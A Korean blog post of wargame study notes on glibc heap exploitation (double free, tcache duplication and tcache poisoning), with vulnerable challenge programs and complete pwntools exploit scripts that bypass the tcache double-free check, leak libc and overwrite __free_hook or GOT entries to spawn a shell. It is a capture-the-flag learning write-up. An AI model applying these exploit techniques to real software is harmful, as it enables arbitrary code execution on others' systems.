[Dreamhack] Systemhacking - Double Free Bug

chrmqgozj·2025년 1월 14일

DreamHack

목록 보기
9/39
  1. 개념
    Double Free Bug(DFB): 같은 청크를 두 번 해제할 수 있는 버그
    이를 활용하면 duplicated free list를 만드는 것이 가능한데, 이는 청크와 연결리스트의 구조 때문에 가능하다.
    free list의 각 청크들은 fd, bk로 연결된다.
    첫 번째 재할당에서 fd, bk를 조작하여 free list에 있는 fd와 bk에 영향을 주어 free list에 임의의 주소를 포함할 수 있다.

1.1. Tcache DFB 보호기법

  • tcache_entry
typedef struct tcache_entry {
  struct tcache_entry *next;
+ /* This field exists to detect double frees.  */
+ struct tcache_perthread_struct *key;
} tcache_entry;

key 포인터가 추가됨(double free 탐지용)

  • tcache_put
tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
  assert(tc_idx < TCACHE_MAX_BINS);
  
+ /* Mark this chunk as "in the tcache" so the test in _int_free will detect a
+      double free.  */
+ e->key = tcache;
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_put: 해제한 청크를 tcache에 추가하는 함수
해제되는 청크의 key에 tcache를 대입하도록 함 (tcache = tcache_perthread라는 구조체 변수)

  • tcache_get
tcache_get (size_t tc_idx)
   assert (tcache->entries[tc_idx] > 0);
   tcache->entries[tc_idx] = e->next;
   --(tcache->counts[tc_idx]);
+  e->key = NULL;
   return (void *) e;
 }

tcache_get: tcache에 연결된 청크를 재사용할 때 사용하는 함수
재사용되는 청크의 key 값에 NULL을 대입하도록 함

  • _int_free
_int_free (mstate av, mchunkptr p, int have_lock)
 #if USE_TCACHE
    {
     size_t tc_idx = csize2tidx (size);
-
-    if (tcache
-       && tc_idx < mp_.tcache_bins
-       && tcache->counts[tc_idx] < mp_.tcache_count)
+    if (tcache != NULL && tc_idx < mp_.tcache_bins)
       {
-       tcache_put (p, tc_idx);
-       return;
+       /* Check to see if it's already in the tcache.  */
+       tcache_entry *e = (tcache_entry *) chunk2mem (p);
+
+       /* This test succeeds on double free.  However, we don't 100%
+          trust it (it also matches random payload data at a 1 in
+          2^<size_t> chance), so verify it's not an unlikely
+          coincidence before aborting.  */
+       if (__glibc_unlikely (e->key == tcache))
+         {
+           tcache_entry *tmp;
+           LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
+           for (tmp = tcache->entries[tc_idx];
+                tmp;
+                tmp = tmp->next)
+             if (tmp == e)
+               malloc_printerr ("free(): double free detected in tcache 2");
+           /* If we get here, it was a coincidence.  We've wasted a
+              few cycles, but don't abort.  */
+         }
+
+       if (tcache->counts[tc_idx] < mp_.tcache_count)
+         {
+           tcache_put (p, tc_idx);
+           return;
+         }
       }
   }
  #endif

_int_free: 청크를 해제할 때 호출되는 함수
재할당하려는 청크의 key 값이 tcache면 Double Free가 발생했다고 생각하여 프로그램 중단

이 외의 보호기법은 없음!

if (__glibc_unlikely (e->key == tcache))

위의 코드만 넘기면 tcache 청크를 double free 시킬 수 있다.
다 바꿀 필요도 없고 1비트만이라도 바꾸면 된다.

1.2. Tcache Duplication

// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c

#include <stdio.h>
#include <stdlib.h>

int main() {
  void *chunk = malloc(0x20);
  printf("Chunk to be double-freed: %p\n", chunk);

  free(chunk);

  *(char *)(chunk + 8) = 0xff;  // manipulate chunk->key
  free(chunk);                  // free chunk in twice

  printf("First allocation: %p\n", malloc(0x20));
  printf("Second allocation: %p\n", malloc(0x20));

  return 0;
}

이런 식으로 chunk->key만 바꾸면 우회 가능

  1. Tcache Poisoning
    tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법
    중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에 할당된 청크라는 특징을 이용
    공격자는 임의 주소에 청크 할당이 가능해지고 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있게 된다.

할당된 청크와 해제된 청크가 중첩되면 fd와 bk를 조작할 수 있게 되고, 이는 ptmalloc2의 free list에 임의 주소를 추가할 수 있음을 뜻한다.

Tcache Poisoning으로 할당한 청크에 대해 값을 출력하거나, 조작할 수 있다면 임의 주소 읽기(Arbitrary Address Read, AAR), 임의 주소 쓰기(Arbitrary Address Write, AAW)가 가능하다.

2.1. 보호기법

full relro인 것을 보아 hooking이나 원가젯이 가능할지도...?

2.2. tcache_poison.c

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}
  • 메뉴1: 입력받은 size만큼 chunk에 메모리 할당해주고 데이터값 입력받음
  • 메뉴2: chunk free
  • 메뉴3: chunk 데이터 출력
  • 메뉴4: chunk 데이터 수정

2.3. 설계
double free bug를 만들기 위해서 최우선으로 필요한 것은 중첩상태 만들기
그러기 위해서는 chunk의 key값 변환이 필요하다

case1으로 할당 -> case2로 free -> case4로 +8위치 1바이트 수정 -> case2로 한 번더 free -> case1으로 재할당
=> 중첩 상태

from pwn import *

p = process('./tcache_poison')

def allocate(size, data):
    p.sendlineafter('Edit', b'1')
    p.sendlineafter('Size: ', str(size).encode())
    p.sendafter('Content: ', data)

def free():
    p.sendlineafter('Edit', b'2')


def print():
    p.sendlineafter('Edit', b'3')


def edit(data):
    p.sendlineafter('Edit', b'4')
    p.sendafter('Edit chunk: ', data)


allocate(0x65, b'AAAA')
free()
edit(b'BBBBBBBBB')
free()
allocate(0x65, b'CC')

p.interactive()

FULL RELRO이기 때문에 hook을 원가젯으로 덮는 공격방식을 택했다.

먼저 libc_base를 얻기 위해 leak을 해야 한다.
setvbuf에 stdin, stdout이 있기 때문에 임의 주소 읽기를 통해 libc_base를 계산한다.
stdin, stdout은 bss 영역에 존재하고 현재 PIE가 없기 때문에 이들의 주소는 일정하다.

그리고 free의 hook을 원가젯으로 덮으면 된다.

역시 써서 이해하는게 제일 효과 좋은 것 같다.

2.4. exploit.py

#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *

p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def slog(symbol, addr): return success(symbol + ': ' + hex(addr))

def alloc(size, data):
    p.sendlineafter(b'Edit\n', b'1')
    p.sendlineafter(b':', str(size).encode())
    p.sendafter(b':', data)

def free():
    p.sendlineafter(b'Edit\n', b'2')

def print_chunk():
    p.sendlineafter(b'Edit\n', b'3')

def edit(data):
    p.sendlineafter(b'Edit\n', b'4')
    p.sendafter(b':', data)

# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty

# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()

# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00')
free()

# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')

# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`

print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432

slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)

# Overwrite the `__free_hook` with the address of one-gadget

# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty

# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()

# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()

# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))

# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)

# __free_hook = the address of one-gadget
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()
  1. tcache_dup
  • Tcache memory leak
    tcache에서 라이브러리 영역 주소를 릭하는 방법은 다양하다.
  1. tcache_entry를 꽉 채워 사용하지 못하도록 (용량 7개) 한 후 unsorted bin을 사용하도록 유도
// gcc -o leak1 leak1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
	uint64_t *ptr[10];
	int i;
	for(i=0;i<9;i++) {
		ptr[i] = malloc(0x100);
	}
	for(i=0;i<7;i++) {
		free(ptr[i]);
	}
	free(ptr[7]);
	printf("fd: %lp\n", *ptr[7]);
	return 0;
}
  1. tcache에서 허용하지 않는 크기를 할당한 이후 해제해 unsorted bin 사용 유도
// gcc -o leak2 leak2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
	uint64_t *ptr[2];
	ptr[0] = malloc(0x409);
	ptr[1] = malloc(0x20);
	free(ptr[0]);
	printf("fd: %lp\n", *ptr[0]);
	return 0;
}
  1. _IO_FILE Arbitrary Read와 tcache dup
    tcache_entry는 최대 7개의 힙 청크를 가질 수 있는데, 다 차면 다음 해제되는 힙 청크는 tcache를 사용하지 않고 unsorted bin에 저장한다. 그래서 main_arena 영역의 주소를 데이터 영역에 작성할 수 있게 된다(fd)
    이 개념에 대한 (main arena, top chunk에 대한 정리는 이 블로그에서 엄청 정리를 잘해주셨다. https://rninche01.tistory.com/entry/heap3-glibc-malloc2-feat-chunk 이거에 대한 추가정리)

아무튼 tcache말고 bin에 해제된 청크가 저장되도록 하면 fd와 bk 영역에 main_arena 주소가 저장된다. stdout은 main_arena와 주소가 멀지 않기 때문에 4비트 브루트 포싱으로 fd가 stdout을 가리키게 할 수 있다.

3.1. 보호기법

PIE는 없고 NX, Canary, Partial RELRO가 있다.

[stdout_leak.c]

// gcc -o stdout_leak stdout_leak.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *ptr[20];
int heap_idx = 0;

int add() {
	int size = 0;
	if(heap_idx >= 20 ) {
		exit(0);
	}
	printf("Size: ");
	scanf("%d", &size);
	ptr[heap_idx] = malloc(size);
	if(!ptr[heap_idx]) {
		exit(0);
	}
	printf("Data: ");
	read(0, ptr[heap_idx], size);
	heap_idx++;
}

int del() {
	int idx;
	printf("idx: ");
	scanf("%d", &idx);
	
	if(idx >= 20 ) {
		exit(0);
	}
	free(ptr[idx]);
}
int main()
{
	int idx;
	
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	while(1) {
		printf("1. Add\n");
		printf("2. Delete\n");
		printf("> ");
		
		scanf("%d", &idx);
		
		switch(idx) {
			case 1:
				add();
				break;
			case 2:
				del();
				break;
			default:
				break;
		}
	}
}

[exploit.py]

# stdout_leak.py 
from pwn import *

p = process("./stdout_leak")

def add(size,data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(size))
	print p.sendafter(":",str(data))

def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
	
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

stdout = libc.symbols['_IO_2_1_stdout_']
print hex(stdout) 
add(0x30, "A") # 0
add(0x40, "B") # 1
add(0x410,"A") # 2
add(0x10,"A")  # 3

# unsorted bin
free(2)
# tcache dup 0x50 bin
free(1)
free(1)
#tcache dup 0x40 bin
free(0)
free(0)
# # # pointing unsorted bin 
add(0x30, "\xf0")  # 4
add(0x30, "A")  # 5
# # bruteforce stdout
add(0x30, "\x60\x17") # 6


add(0x40, "\xf0") # 7
add(0x40, "A") # 8
add(0x40, "A") #9

add(0x40, p64(0xfbad38c0) + p64(0)*3 + "\x20") # leak # 10

p.recv(1)
libc_leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc_leak - 0x3eb780
free_hook = libc_base + libc.symbols['__free_hook']
oneshot = libc_base + 0x4f322
print hex(libc_leak)
print hex(libc_base)

# free_hook overwrite using tcache dup
add(0x70,"A") # 11

free(11)
free(11)

add(0x70, p64(free_hook))
add(0x70, "A")
add(0x70, p64(oneshot))

# get shell
free(0)
p.interactive()
  • free(2)를 한 시점의 heap

0x7ffff7e1ace0: main arena 내의 주소

(이 뒤로는 진행이 불가... 왜 나는 free 연속으로 두 번하면 signal SIGABRT로 중지되는거지
libc 버전이 달라서 그런가..)

일단 main arena 주소를 얻었으니 double free된 tcache 내의 값들로 fd와 bk가 수정되도록 하자.

여기서 fd를 가리키는 주소인 0x55cbe84ad2f0를 fcache의 fd가 가리키도록 한다.

  • add(0x30, "\xf0")

변경전

0x30 크기의 힙을 할당해서 0x55cbe84ad260을 하위 1바이트만 0xf0로 변경해서 0x55cbe84ad2f0를 가리키도록 한다.

변경후

  • add(0x30, "A")
    이 상황에서 0x30 크기의 합을 2번 할당하면 0x55cbe84ad2f0를 데이터 영역에 저장한 채로 메모리 영역을 할당받게 된다.





3.2. tcache_dup.c

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if (cnt > 10) {
        return -1;
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if (!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if (idx > 10) {
        return -1;
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while (1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}
  • create 함수: 입력받은 size만큼 ptr[cnt]에 할당하고 데이터를 입력받아 저장 (malloc)
  • delete 함수: 입력받은 idx의 ptr를 해제 (free)
  • get_shell 함수 존재
  • cnt(ptr의 idx는 10까지만 가능)

3.3. 분석

1040 크기 할당(unsorted bin), 16 크기 할당(top chunk 병합 방지)
1040 크기 해제 후 heap 상황

0x00007ffff7dcdca0: main arena 영역 주소

stdout의 주소인데 bruteforce로 수정필요

0x602260 -> 0x6022a0으로 수정필요

3.4. exploit.py
아니 예시는 그렇게 어렵게 들어놓고 이렇게 어이없게 풀리면...ㅠㅠ

from pwn import *

p = remote('host1.dreamhack.games', 20112)
e = ELF('./tcache_dup')
libc = ELF('./libc-2.27.so')

def create(size, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size))
    p.sendafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))

print_got = e.got['printf']
get_shell = e.sym['get_shell']

create(0x30, 'A')
delete(0)
delete(0)

create(0x30, p64(print_got))
create(0x30, 'A')
create(0x30, p64(get_shell))

p.interactive()

그냥 got 아무꺼나 get_shell로 덮으면 된다...하 4일동안 고민했는데...

  1. tcache_dup2
    4.1. 보안기법

canary, nx, partial relro -> got overwrite.
추가로 libc-2.30.so라서 tcache_dup처럼 double free 바로 오류난다.

4.2. tcache_dup2.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}
  • create_heap: malloc
  • modify_heap: 원하는 idx 수정
  • delete_heap: free
  • get_shell 존재

4.3. 참고자료
기본적인 틀은 tcache_poisoning이랑 동일하다.
하지만, 청크를 하나 미리 free 해야하고, printf, free 등의 got가 아니라 puts와 같은 특정 got를 사용해야 한다.

처음에 청크 하나만 할당하고, printf got overwrite를 했는데 exploit이 되지 않아서 당황했다. 찾아보니 이 블로그에서 정리를 정말 잘해주었다.

https://cw00h.github.io/til/hacking/TIL220823/

간단하게 요약하자면,
1. 청크 하나 미리 free
-> tcache count가 존재. 0 초과여야 우리가 원하는 tcache_get를 실행해줌

  1. puts와 같은 특정 got 사용해야 함
    -> got들이 연속해서 존재하여 overwrite를 해당 사이즈를 초과하여 실행하면 sigmentation error 발생

4.4. exploit.py

from pwn import *

p = remote('host1.dreamhack.games', 17403)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')

def create(size, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def edit(idx, size, data):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx).encode())

p_addr = e.got['puts']
get_shell = e.sym['get_shell']

create(0x30, b'A')
create(0x30, b'test')

delete(1)
delete(0)
edit(0, 0x10, b'B'*8 + b'\x00')
delete(0)

create(0x30, p64(p_addr))
create(0x30, b'A')
create(0x30, p64(get_shell))

p.interactive()

0개의 댓글